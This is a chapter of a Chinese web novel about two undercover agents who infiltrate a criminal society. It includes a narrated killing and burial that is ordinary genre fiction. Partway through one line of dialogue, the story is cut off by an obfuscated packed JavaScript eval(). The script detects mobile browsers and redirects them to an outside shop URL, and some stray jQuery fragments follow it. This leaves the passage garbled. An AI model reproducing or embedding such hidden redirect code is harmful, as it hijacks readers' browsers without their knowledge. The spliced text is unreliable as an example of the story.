“你们不像是情侣。”

    拉斐尔的一句话,引起其他人注目。他们审视虞颂心和傅庭月,眼神既怀疑又警惕。

    黑桃眯眼。

    “哼。”虞颂心抱紧背包,狠瞪面不改色的傅庭月。“我们当然不是情侣!要不是他拐走我,我现在舒舒服服地坐在办公室当白领,他是我的仇人!”

    大家看向傅庭月,男成员们露出“你真有种”的表情。

    拉斐尔闪现羡慕之色,低头说:“我带你们上楼。”

    傅庭月强硬地搂虞颂心的肩膀,声音低沉,语气恶劣:“你这辈子都逃不掉。”

    “哼!讨厌鬼!”

    两人故作推搡着上楼,站在楼梯口的黑桃一声不吭,不知道在想什么。

    应该糊弄过去了。虞颂心暗暗松一口气。

    幸好昨晚,梅菲菲连夜给两个角色创作人物小传,让他们背熟,不然穿帮的几率极大。

    二楼的房间有四个,走廊的两侧墙壁挂着水彩画。

    虞颂心飞快扫视,不由得错愕。

    “二楼只剩一个房间。”拉斐尔回头,看见虞颂心注意到墙上的水彩画,目光闪动。“你对画感兴趣?”

    虞颂心平静地收回视线。“没有想到你们这么有格调挂装饰画,为什么不在一楼也挂上?”

    拉斐尔无视她的疑问,站在空置的房间前面。“你们两个住一间,没有多余的了。”

    虞颂心一脸嫌弃,并警告傅庭月:“不准对我动手动脚,否则我不客气!”

    傅庭月不置可否,搂着她进房间。

    拉斐尔不想再吃狗粮,面无表情地离去。

    随即,傅庭月关上房门,倾听门外的脚步声越来越远。

    虞颂心四处查看简陋的卧室。

    一张1.8米宽的大床,一张空荡荡的书桌,一张单人沙发,一个单人使用的布艺衣柜,比招待所的房间简陋。

    傅庭月释放精神力扫描一遍,确认房间内没有窃听器和监视器,而房间外没有偷听者。

    “他们是老鼠。”她抱着背包坐下床沿,喘一口气,紧绷的肩膀稍微放松。

    “老鼠”是尖塔会成员的代称。

    “你怎么确定?”傅庭月在她的旁边坐下。

    “画。”

    他想起挂在走廊的水彩画。他对美术的了解不深,等她说下去。

    “墙上的四幅挂画,三幅是风景写生,一幅是临摹,笔法粗糙,只记录了作者的心情毫无观赏的价值,画画的人天赋一般,没有受过正式的美术教育。”

    傅庭月悄然侧目。

    此时的她自信满满地品评画作,带着天才的傲慢,言辞犀利。尽管她顶着一张普通的伪容,也吸引他的目光停留。

    “画画的人是拉斐尔,她的手指头留下黑色的铅笔痕迹,还有她的代号,是旧时代西方的一个著名画家的名字。”

    傅庭月了然:“她就是利用画画整容的异能者。”

    “嗯。一开始还不能确定他们是老鼠,直到我看见那幅临摹的画——《西斯庭圣母》,原作者就是西方的画家拉斐尔。”

    “这幅画有什么含义?”

    她勾起唇角:“那是一幅挂在教堂的祭坛画,画中的女人是殉道的圣女,她要牺牲怀里的孩子拯救人类。但是,临摹画里的圣女,抱着的婴儿长着成年女人的脸。”

    傅庭月过目不忘,想起画中婴儿的脸:“长着拉斐尔的脸。”

    “没错,她当自己是祭品,奉献给他们认为的‘神’,拯救她想拯救的东西。”

    他沉吟片刻:“他们的背后有庞大的产业链,还不能打草惊蛇。”

    虞颂心点点头,问:“如果他们又要你杀人怎么办?”

    “你担心我?”

    此言一出,两人都愣了。

    这一次,傅庭月的思考速度跟不上嘴巴,说完才意识到自己说了奇怪的话。

    虞颂心更是出乎意料,被一句简单的反问弄得不知所措。

    “才不是!”她躲开傅庭月的视线,假装翻找背包。

    傅庭月注视她薄红的脸蛋,胸口产生奇怪的感觉,像有东西栽进来,荡漾一圈涟漪。涟漪在扩大,荡漾每一根坚韧的神经,使它们变得柔软。

    “放心,我不会杀无辜的人。”他说。

    虞颂心第一次听见他用温和的语气说话,心像结了一颗软软的黄糖。

    她不知道这是什么感觉,当她面对男神的时候,并没有这样,但她知道这不是“讨厌”。

    想起男神,她急忙问:“F,是你临时想的代号吗?”

    “不是。”他目不转睛,注视虞颂心错愕的双眼。

    可惜当下危机四伏,他不能让两个人都分心,坦白一切。

    “姓氏的首字母,够简单。”

    虞颂心欲言又止。

    傅庭月扯开话题:“还要多熬几天,你尽量不要离开我的视线范围。”

    “嗯。”

    最难熬的是三餐,大家都只吃营养剂,虞颂心难以置信他们大挣特挣后,居然不改变伙食的情况,害她吃得就快灵魂出窍。

    她懒洋洋地躺在床上,嘴巴寡淡像没了味觉,真想让任务见鬼去。

    过了一天,洗头的闹铃作响,她无精打采地坐起来,对坐在单人沙发的傅庭月说:“我下楼洗澡洗头。”

    傅庭月站起来。

    虞颂心疑惑:“洗澡要排队,我先洗。”

    “我陪你下楼,等你洗完。”

    “哦。”

    一楼剩下三个尖塔会的成员,拉斐尔、三角眼和红发女人。拉斐尔坐在角落,专心致志地画画。

    “其他人呢?”虞颂心漫不经心地问三角眼。

    “回家看看呗。”

    虞颂心去走廊尽头的卫生间,然而只找到一块肥皂。

    不会吧,生产清洁用品的工厂就在旁边,他们连沐浴露和洗发水也不买吗!吃不好就算了,洗澡要共用一块肥皂,什么鬼生活!

    她忍无可忍,气冲冲地走到大厅。“你们有洗发水吗?借我。”

    三角眼笑眯眯:“卫生间有肥皂啊。”

    “我!不!要!”

    三角眼幸灾乐祸地摊手:“不用介意,我们又不会嫌弃你。”

    拉斐尔抬头:“人类的肉/体终会腐烂成滋养植物的肥料,不值得为它花费太多。”

    “啊!不要肥皂!我要用洗发水!沐浴露!啊啊啊——”虞颂心搔头发抓狂。

    拉斐尔双手堵住耳朵。

    红发女人戴上耳机,懒得理她。

    三角眼扬眉吐气,笑得可欢了。

    傅庭月拉她的胳膊:“工厂那边在加晚班,我和你过去买。”

    三角眼惊讶:“用不着太讲究

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623531|205907||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吧?”

    虞颂心朝着他捂鼻子:“难怪你一身臭味!呕——”

    他面容扭曲,扑过来想揍人。

    傅庭月及时拉开虞颂心,害他扑个空,来不及停下撞上墙壁。

    “啊!疼——你这臭婆娘!”

    回应他的是冰冷的枪口,抵住他的腮部,他吓得一身冷汗。

    傅庭月目光如刀:“再乱说话就打烂你的嘴巴。”

    三角眼不敢招惹他,紧闭嘴巴走开。

    外面的工厂灯光明亮,车间的生产机器铿将作响,工人们的深蓝色工衣,肩膀和袖口磨得发白。

    傅庭月不方便使用空间存储器,带着她找到工厂的经理,买一瓶茉莉花香味的洗发水和一瓶沐浴露。

    本来工厂不零售,经理看见他的刀疤脸,热情出售。

    沐浴露和洗发水是有名气的牌子,虞颂心喜滋滋地抱着它们。

    “这么开心?”傅庭月不理解。

    她幽怨:“可以舒舒服服地洗澡洗头,比吃营养剂开心。”

    他点头。

    队友的心情变好,执行任务的心态会更加积极,是有意义的事情,确实值得高兴。

    今晚的寒风,吹得心旷神怡。

    又过去一天,当两人以为要和罪犯继续死耗的时候,黑桃找上傅庭月到他的房间密聊。

    傅庭月离开前,叮嘱虞颂心别乱跑。

    “F先生,请坐。”黑桃笑眯眯。

    圆形的茶几旁是两张椅子,黑桃坐一张,傅庭月坐另一张。

    黑桃递给他一罐啤酒。

    傅庭月看也不看一眼:“我不喝酒,影响我杀人的手感。”

    “听大鬼说过。”黑桃把啤酒放到地上,又说:“F先生,你的实力很强,我衷心希望你们加入我们。”

    他冷笑:“晾我们两天,你的衷心比野草还廉价。要不是天气冷不想带我的女人奔波,我早就带她去酒店享受暖气了。”

    啧,这个恋爱脑。

    黑桃腹诽着,连忙赔不是:“抱歉抱歉,是我的招呼不周。以前总有特警混进来当卧底,生意人嘛,总要谨慎些。”

    傅庭月懒洋洋地托腮。

    黑桃保持笑容,观察他事不关己的冷漠。

    他们两个不是特意找来的,是大鬼招惹回来的,和以前的特警卧底不一样。尤其是那女人,因为没有沐浴露和洗发水大发脾气,他没见过这样的特警。

    “明天我带你们去参观生产线,不过——”他的双眼闪烁精光:“我需要F先生帮一个忙。”

    “杀谁?”

    “呵呵,F先生不但身手好,城府也深。”

    傅庭月不耐烦:“利益是永远的朋友。废话少说,你到底想我做什么?”

    黑桃笑道:“我是个生意人,对打打杀杀不懂,但是如果手底下的人不是一条心,我会很不安。”

    傅庭月冷笑:“利用我?”

    “哪里哪里,是交易而已。你是杀手,我请你帮忙,酬金是让你大挣特挣的生意。”

    他看向黑桃:“尸体我处理?”

    “那就最好了,大鬼说你很擅长。”

    “成交。”

    夜深人静,傅庭月单肩扛着光头男的尸体到山林里,挖坑埋掉。

    他埋尸的举动,落入军用望远镜中。

    “他们已经取得信任。”